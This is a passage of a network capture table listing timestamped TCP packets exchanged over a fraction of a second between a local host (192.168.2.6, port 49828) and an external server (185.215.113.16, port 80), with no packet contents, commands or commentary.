Dec 9, 2024 18:20:54.458511114 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.458548069 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.459182024 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.459227085 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.459995985 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.460007906 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.460046053 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.460381031 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.460391998 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.460428953 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.461143017 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.461154938 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.461196899 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.461812019 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.461827040 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.461860895 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.461891890 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.462637901 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.462680101 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.463215113 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.463227034 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.463233948 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.463259935 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.463282108 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.463922977 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.463934898 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.463975906 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.464683056 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.464694977 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.464742899 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.464742899 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.465485096 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.465497971 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.465544939 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.466480970 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.466499090 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.466540098 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.467041016 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.467060089 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.467089891 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.467117071 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.468091965 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.468103886 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.468136072 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.468149900 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.468803883 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.468816996 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.468864918 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.469562054 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.469573975 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.469583988 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.469614029 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.469638109 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.470499039 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.470550060 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.471292973 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.471321106 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.471335888 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.471342087 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.471349955 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.471362114 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.471379042 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.471394062 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.472428083 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.472476959 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.473501921 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.473517895 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.473530054 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.473551035 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.473568916 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.474420071 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.474432945 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.474478006 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.475183964 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.475198030 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.475214005 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.475234985 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.475254059 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.476035118 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.476088047 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.476672888 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.476685047 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.476696014 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.476707935 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.476725101 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.476753950 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.477533102 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.477581978 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.478425026 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.478436947 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.478447914 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.478478909 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.478503942 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.479335070 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.479348898 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.479383945 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.479403973 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.480170012 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.480181932 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.480217934 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.481122017 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.481134892 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.481174946 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.481995106 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.482007980 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.482037067 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.482043982 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.482069969 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.482089996 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.482867002 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.482919931 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.483772993 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.483783960 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.483808994 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.483824968 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.483854055 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.484574080 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.484586000 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.484597921 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.484625101 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.484651089 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.485462904 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.485512018 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.486351013 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.486363888 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.486373901 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.486402035 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.486424923 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.487231970 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.487243891 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.487279892 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.488096952 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.488111973 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.488151073 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.488984108 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.488996029 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.489007950 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.489037037 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.489049911 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.489892960 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.489943981 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.490700960 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.490751028 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.490751982 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.490763903 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.490793943 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.490807056 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.491596937 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.491645098 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.491648912 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.491683960 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.499557972 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.499571085 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.499644041 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.500643969 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.500700951 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.504297018 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.504309893 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.504317999 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.504354954 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.504384041 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.646708012 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.646722078 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.646790981 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.647559881 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.647572994 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.647620916 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.648849010 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.648861885 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.648912907 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.650396109 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.650414944 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.650455952 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.651300907 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.651324034 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.651357889 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.651386023 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.653031111 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.653044939 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.653084040 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.653908968 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.653960943 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.654671907 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.654685020 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.654722929 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.655710936 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.655764103 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.656416893 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.656430006 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.656467915 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.658139944 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.658154964 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.658200979 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.659003019 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.659015894 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.659051895 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.660887957 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.660916090 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.660943031 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.660976887 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.661636114 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.661685944 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.662448883 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.662461996 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.662503004 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.663414001 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.663463116 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.664222002 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.664237022 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.664278984 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.665915966 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.665930033 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.665970087 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.667167902 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.667181969 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.667215109 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.667244911 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.668639898 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.668653011 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.668689966 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.669365883 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.669414043 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.670274019 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.670286894 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.670317888 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.670340061 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.671072960 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.671117067 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.671977997 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.672030926 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.672895908 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.672909975 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.672940969 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.672955036 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.673679113 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.673727989 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.674712896 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.674763918 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.675436974 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.675482035 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.676455021 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.676466942 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.676503897 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.676520109 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.677320957 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.677336931 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.677365065 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.677388906 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.678963900 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.678977966 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.679012060 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.679786921 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.679851055 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.680665016 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.680680990 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.680731058 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.680742025 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.681446075 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.681499004 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.682332039 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.682389021 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.683175087 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.683223009 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.684145927 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.684159994 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.684194088 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.684218884 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.684899092 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.684926033 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.684943914 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.684962988 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.686810017 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.686825037 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.686872959 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.687691927 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.687758923 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.688510895 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.688560963 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.689814091 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.689826965 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.689866066 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.690649986 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.690664053 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.690694094 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.690716028 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.691751003 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.691792965 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.692384005 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.692433119 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.693135023 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.693181992 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.693967104 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.693974972 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.694025040 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.694853067 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.694891930 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.694900990 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.694931030 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.695714951 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.695729017 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.695764065 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.696588039 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.696611881 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.696635962 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.696654081 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.697468042 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.697498083 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.697524071 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.697534084 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.698349953 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.698364019 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.698416948 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.699125051 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.699139118 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.699172974 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.699177027 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.699198008 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.699218988 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.700021029 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.700035095 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.700078011 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.700100899 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.700922012 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.700965881 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.700975895 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.701003075 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.701756001 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.701801062 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.701809883 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.701848030 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.702640057 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.702653885 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.702665091 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.702691078 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.702724934 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.703557014 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.703571081 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.703602076 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.703623056 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.704488039 CET	80	49828	185.215.113.16	192.168.2.6
